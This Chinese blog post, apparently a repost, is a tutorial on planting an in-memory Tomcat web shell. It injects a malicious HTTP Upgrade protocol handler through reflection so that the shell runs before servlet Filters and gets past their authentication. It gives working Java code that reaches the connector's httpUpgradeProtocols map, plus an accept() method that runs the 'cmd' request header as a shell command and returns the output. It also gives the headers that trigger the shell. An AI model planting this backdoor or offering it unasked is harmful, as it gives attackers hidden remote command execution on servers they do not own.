龙空技术网

Tomcat内存马(java篇)

区块软件开发 445

前言:

此时各位老铁们对“java图片马”大致比较着重,我们都需要分析一些“java图片马”的相关资讯。那么小编同时在网摘上搜集了一些对于“java图片马””的相关文章,希望你们能喜欢,同学们一起来了解一下吧!

0x00 前言

本人水平不高,若有错误请不吝指出。

0x01 起因

在渗透过程中,有些时候虽然我们植入了内存马,但是由于原有Filter的缘故,导致鉴权失败或者是无法访问,在亦或是由于反代的缘故,很多时候无法找到对应路径。为了解决这个问题,我们要在进入请求进入Filter之前进入内存马被拦截处理。

上图出自blue0师傅的文章,blue0师傅研究的是Executor中的内存马。我发现在Processor中也存在一种可以利用的内存马,接下来我们针对Http11Processor进行分析。

0x02 Http11Processor

在一个请求的处理过程中,在AbstractProcessorLightprocess方法中,会根据当前SocketWrapperBase的状态进行响应的处理,在OPEN_READ状态时,会调用对应的Processor进行处理,如下图所示。

在处理HTTP请求时,对应的ProcessorHttp11Processor。在处理Upgrade时,会进行两件事情:

Http11Processorservice方法中会检查头部的Connection头中是否为upgrade根据头部的Upgrade选择出对应的Upgrade对象。调用该对象的accept方法。

可以注意到,他是从protocol这个局部变量中调用getUpgradeProtocol方法获取对应的UpgradeProtocolgetUpgradeProtocol这个方法仅仅是从根据Upgrade头对应的值获取相应的 UpgradeProtocol。如下图

0x03 AbstractHttp11Protocol

这里的AbstractHttp11Protocol事实上其实是Http11NioProtocol,其继承了AbstractHttp11Protocol

为了判断httpUpgradeProtocols是在Tomcat启动时进行的实例化还是在请求时进行的实例化,需要知道httpUpgradeProtocols是在什么时候被赋值的。然后一路追踪找到了init方法。

在init方法中他做了以下几件事情:

通过读取upgradeProtocols列表,调用configureUpgradeProtocol将对应upgradeProtocol添加到httpUpgradeProtocolsHashMap中。

那是什么时候对upgradeProtocols进行的初始化呢,我们在init方法上下断点,我们发现是在Tomcat启动时进行的初始化。

因此我们可以通过反射调用把这个httpUpgradeProtocols添加一项,即可实现Upgrade内存马。

0x04 获取Http11NioProtocol对象

其实获取Http11NioProtocol的方法很简单,从request开始能很简单的找到,具体路径如下

request.request.connector.protocolHandler.httpUpgradeProtocols

0x05 构造内存马获取upgradeProtocols对象

可以直接通过反射调用获取到upgradeProtocols,由于过程比较简单这里直接贴出相关代码。

RequestFacade rf = (RequestFacade) request;Field requestField = RequestFacade.class.getDeclaredField("request");requestField.setAccessible(true);Request request1 = (Request) requestField.get(rf);Field connector = Request.class.getDeclaredField("connector");connector.setAccessible(true);Connector realConnector = (Connector) connector.get(request1);Field protocolHandlerField = Connector.class.getDeclaredField("protocolHandler");protocolHandlerField.setAccessible(true);AbstractHttp11Protocol handler = (AbstractHttp11Protocol) protocolHandlerField.get(realConnector);HashMap<String, UpgradeProtocol> upgradeProtocols = null;Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");upgradeProtocolsField.setAccessible(true);upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);

接下来只需要编写恶意的upgradeProtocol并将其插入到upgradeProtocols这个HashMap中即可。

编写恶意的UpgradeProtocol

Http11Processorprocess方法中会检测ConnectionUpgrade的头部字段,之后会根据Upgrade调用UpgradeProtocolaccept方法。

由于accept方法只传入了org.apache.coyote.Request request对象,所以我们需要获取到response对象。幸运的是,request对象中存在private Response response;因此我们可以通过反射获取到response对象。

值得注意的是,恶意的UpgradeProtoocl需要满足org.apache.coyote.UpgradeProtocol接口。编写出accept方法如下

public boolean accept(org.apache.coyote.Request request) {    System.out.println("MyUpgrade.accept");    String p = request.getHeader("cmd");    try {        String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};        Field response = org.apache.coyote.Request.class.getDeclaredField("response");        response.setAccessible(true);        Response resp = (Response) response.get(request);        byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();        resp.doWrite(ByteBuffer.wrap(result));    } catch (Exception e){}    return false;}

这样我们直接注入内存码了

upgradeProtocols.put("hello", new MyUpgrade());upgradeProtocolsField.set(handler, upgradeProtocols);

值得注意的是需要在HTTP访问时带上Upgrade的头部信息:

Upgrade: helloConnection: Upgrade

效果如下:

由于其工作在Upgrade中,处理在Filter和Servlet之前,所以可以解决Filter的权限问题。

0x06 查杀效果

0xff 参考资料

refer

标签: #java图片马